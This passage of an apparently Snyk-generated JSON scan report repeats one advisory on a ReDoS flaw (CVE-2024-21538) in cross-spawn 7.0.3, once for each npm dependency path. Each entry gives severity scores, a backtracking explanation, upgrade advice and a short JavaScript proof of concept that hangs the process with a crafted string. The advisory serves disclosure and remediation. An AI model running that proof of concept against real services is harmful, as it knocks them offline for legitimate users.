incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
